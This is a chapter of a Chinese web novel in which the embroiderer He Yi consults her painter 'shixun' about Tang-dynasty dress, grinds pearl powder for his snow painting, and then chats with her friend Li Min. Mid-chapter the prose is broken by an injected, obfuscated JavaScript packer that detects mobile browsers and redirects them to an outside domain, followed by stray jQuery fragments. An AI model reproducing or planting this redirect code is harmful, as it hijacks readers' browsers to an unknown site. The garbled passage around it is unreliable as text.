20. 第 20 章

作品:《我男票是锦衣卫

    “……是有些事情。”


    沉默好久,何仪还是开了口:“我有位朋友,忽然对唐时衣物感兴趣,想让我帮忙做一身。偏偏我不知道唐人衣物长什么样子,又觉得师兄见多识广,说不定知道呢,就过来碰碰运气。”


    说完了,恰有清风穿过假山,于空洞之中哀转呜咽,有若洞箫之声,又越过假山吹到她身上,何仪通身凉快,心头也放松下来,端着茶杯慢慢饮茶——


    她缺钱,她见识少,她是个绣娘,这些师兄都知道。


    师兄瞧她许久,点头笑了:“我倒是知道——我有唐人的画,摹本也有,知道唐代衣裳长什么样子。”


    何仪顿时抬起头笑,师兄悠悠然举起茶杯轻啜一口:“不过,师妹怎么谢我?”


    何仪瞧着师兄傻笑起来:“师兄想让我怎么谢?”


    男女之间,太多事情都过分暧昧,她还是装傻为好。


    “今天,你得留下来给我调颜料。”师兄放下茶杯大笑起来:“成了,我能让你做什么呀?可惜你不是男儿身,否则我还真想把你留在家里,日日陪我作画。”


    何仪失笑:“师兄真是高看我了,我一个绣娘,哪里懂什么作画?”


    “哎,不准妄自菲薄。”师兄瞧着她的眼中满是惋惜,还有许多的羡慕:“师妹天赋犹在我之上——忘了咱们怎么成为师兄妹的了?”


    何仪轻轻摇头,笑容里满是庆幸。


    早年她缺钱,恰好做了块顶顶漂亮的帕子,她没有把帕子卖给刺绣铺子,而是耍了个心眼,大着胆子去了珍宝轩。


    珍宝轩是京城最大的首饰铺子,好多富贵人家的千金都在里头买首饰。她厚着脸皮把帕子给姑娘们看,大着胆子报出高价,最后卖了二两银子,高兴得她险些喜极而泣。


    这还不算完,买她帕子的,居然是珍宝轩的东家小姐;她说以后还买何仪的帕子,何仪连声应了,后来才知道人家不是为了帕子,而是看中了她的绣样,让她帮着看珍宝轩里的首饰花样。


    何仪自然答应。她跟着师傅们学习画画,又跟着东家小姐一起看首饰、搭配衣裳,刺绣的技艺突飞猛涨,一年后入了司礼监掌印太监梁从训的府邸做事,两年后遇见了师兄。


    师兄是珍宝轩的贵客,正为妹妹准备及笄礼物,和她私底下谈了好长时间,俩人画了无数的图样;等成品出来,师兄大喜过望,又震惊于她对颜色线条的敏感,说要和她结为异姓兄妹。


    当时何仪正撩拨穆清风呢,果断拒绝了师兄的请求;师兄也不气馁,每每去珍宝轩找她,到了就一起琢磨画画的事情;又过了一年,发觉师兄没有别的心思后,两人就以师兄妹相称了。


    说话间师兄已经站起身来,他兴冲冲地起身就走,走了几步又回头看她,见她跟在自己身后,方才笑了。


    师兄书房很是雅致,笔墨纸砚一应俱全;书桌上摆着画了一半的画,是覆着雪的亭子;师兄拉着何仪一并看画,两人肩碰着肩:“师妹见过雪吧?雪在阳光下晶莹剔透的,偏偏画不出来……这副《长亭雪梅图》,你觉得什么颜色好?”


    长亭外红梅怒放,何仪想了想:“雪在阳光下会反光,有时候是冷光,有时候是暖光;说不定,咱们能用珍珠或金粉覆上去。”


    “……我也是这么想的,”师兄转头望她,兴奋得呼吸都重了:“可到底是用金粉,还是用珍珠粉?”


    “珍珠粉,”何仪隔空指着那株红梅:“师兄你看,梅花开得正好,应该是上午;冬日太阳没那么烈,上午还是冷光,雪顶会泛着粉白;不过到了傍晚,落日余辉下,雪顶就该是金红色了。”


    “说得对!”师兄连连赞叹,忽地一推她胳膊:“快去磨珍珠粉!粗细你自己决定!”


    何仪失笑,四下看了一眼,找到了研磨珍珠的石臼,又从汝瓷小盏里取了珍珠,抱着石臼走到临窗的桌子上研磨起来。


    倒不仅仅是因为这里明亮——这屋子采光采风都很好,屋里视线很好;而是那桌子实在贵重——汝瓷小盏满满当当地放了一桌子,里头有金箔、有珍珠、有朱砂、有鸡血石、有青金石、还有许多她不怎么能认出来的东西,但一眼可知十分贵重;她在那里研磨,一个不小心震掉个小盏,那可就糟糕了。


    研磨到了一半,她举起石杵看了看——上头沾着珍珠粉;见粗细合适,她放下石杵就要去取小盏,却见个放着银匙的小盏到了眼前:“给你。”


    何仪感谢地朝着师兄笑笑,小心翼翼地用银匙盛了一半珍珠粉进去,又慢慢研磨起来。


    师兄皱眉望着她的动作。等她终于研磨完了,师兄又递了个小盏过来:“师妹,怎么还磨了两种粗细的珍珠粉?”


    何仪取出珍珠粉,与师兄一前一后地走到书桌前,放下小盏后才指着画中的亭子道:“师兄你瞧,这里积的雪厚,晨光照的冷些,光明亮些,发光的地方也少些,该用粗的珍珠粉;等到了飞檐,这里雪薄,光是细细碎碎的,珍珠粉一定要细。”


    师兄笑容愈发地大,将支干净的毛笔递到她手边:“我还真不知道这个——师妹,你来涂珍珠粉。”


    “我?!”何仪立刻把双手垂在了身侧。她又傻笑起来:“别别别,师兄我没碰过这个,别手下没个轻重,毁了师兄的画。”


    虽不知道这张画用了什么纸张颜料,但一看鲜明到刺眼的朱红亭柱、傲雪红梅,就知道颜料很是贵重,她穷,万一出事了赔不起啊。


    师兄瞪着何仪:“是我让你涂的,毁了也是我毁的。”


    说着一把拉过何仪的手,掰开她手,把毛笔塞进她手中。


    何仪紧张地直叹气。她挽了挽袖子,用毛笔蘸了珍珠粉,小心翼翼地涂了起来。


    她专心致志地涂粉,师兄也认真地望着《长亭雪梅图》,目光愈发惊艳,也慢慢移向了何仪的手。


    这是画圣吴道子的手吧?


    不,吴道子的手,哪里有她的手好看?


    她的手纤长雪白,手背上隐约显出青筋,细巧的骨节微微凸起;左手的无名指、小指上留着半寸长的指甲,水葱一般;再往上看,她手腕上套着一只青金石手串。


    手串成色很好,上头一点碎金都没有,蓝得澄澈深沉,越发显得她皮肤白皙。


    师兄忍不住看呆了,忽地听见何仪的声音:“师兄,你瞧瞧好不好?”


    “——师兄?!”


    师兄的目光直直望着自己手腕,何仪不动声色地把左手背到了身后,又唤了他一声:“师兄这是……看上我的手串,想把它给磨了做成颜料?”


    “还真想——这手串料子不错,”师兄也玩笑着:“师妹,给我瞧瞧这手串?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205732|180451||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    师兄神色已然正经起来,他伸出了手笑:“放心,我不动它。”


    何仪暗暗放下心来——方才师兄眼睛直直盯着她手腕,她还真怕师兄有些别的意思;闻言取下手串递给了师兄:“偏偏这是我未婚夫送给我的,他那人又小气;否则我送给师兄做颜料又如何?”


    师兄已然接过了手串。他翻来覆去地看了许多遍——


    珠子大而圆润。这尺寸、这成色,一看就是宫里出来的;珠子有十颗,刚好紧紧拥着她的手腕。


    师兄看完了,又将手串递了回去。想了想,他开口询问:“师妹,你那位未婚夫……是个什么样的人?”


    何仪立刻将手串又捋到了手腕上,低头盯着《长亭雪梅图》。闻言眼珠子转了转,低低笑了:“一个,很好看很好看的人。”


    何仪没有多谈穆清风的意思,师兄也没有多问,只递了卷画过来:“我手头只有一张仿的《簪花仕女图》,你先拿去看着,其余衣物,我回头拿了画给你。”


    何仪连忙拒绝:“师兄——这太贵重了,我不能收。我看一眼就好了。”


    “我仿的,”师兄笑了:“行了,天色不早了,你赶紧回去,过几天我再送你画。”


    何仪打开画卷,见落款果然是丹青,方才卷了画抱起来:“那就多谢师兄了。”


    何仪离开后,师兄坐到书桌前,手指隔空抚摸亭子飞檐——细碎的珍珠粉莹莹生光,真的如冬日薄雪一般。


    他低声叹:“真漂亮啊……可惜,给穆飏骗走了。”


    许久后小厮进来复命,师兄失笑:“我记得,王瑶手里有好几张图……去找他要。要是不从,先切他一根手指。”


    珍宝轩中,何仪小心翼翼地展开了画卷:“告诉苗苗,这个活儿我接了。”


    “从你师兄那弄来的?”珍宝轩的东家小姐李敏瞧着画卷两眼放光,忽地又盯着她:“他到底是谁?”


    客人不说,他们也不好问,只知道师兄身份贵重;何仪打了个哈欠:“不知道啊,人家又不说。”


    “那你嫁给他,看他说不说。”见何仪摇头,李敏笑着凑了过去:“说来,咱们小仪不比苗苗差,她嫁给了侯府公子,那咱们目标定低点,嫁个伯府公子总不难吧?”


    何仪笑得瞌睡虫都跑了:“得了吧,苗苗读书多,什么都懂;我倒好,十三岁才跟着你开了蒙……人家贵公子喜欢我什么?”


    李敏啧啧称叹:“你有胸啊——是吧。”


    李敏挤眉弄眼,何仪忍不住笑:“这话可别当着苗苗的面说,她肯定跟你急。”


    苗苗大名沈禾,前些日子才嫁给了宁远侯府的五公子季松;她貌美却病弱,瘦的胸襟坦荡,每每为此惆怅;这会儿新婚燕尔,她和夫君蜜里调油,让何仪帮忙做唐时衣裳。


    何仪没见过那东西,先找师兄问了、确定自己能做出来,方才回来应下了这件事。


    眼见李敏越说越没谱,她忙打断李敏的话:“我有未婚夫了,婚房都买了,不想别的事了。”


    说着何仪笑了,李敏却严肃起来。她蹙眉问:“说来,前几天梁公公被软禁,你没事吧?我听说,是因为武宁伯两子争爵的事,连累了不少人,都察院都御史都进了诏狱了。”


    何仪面色陡然难看起来:“都察院都御史……是铁面御史何芳吗?”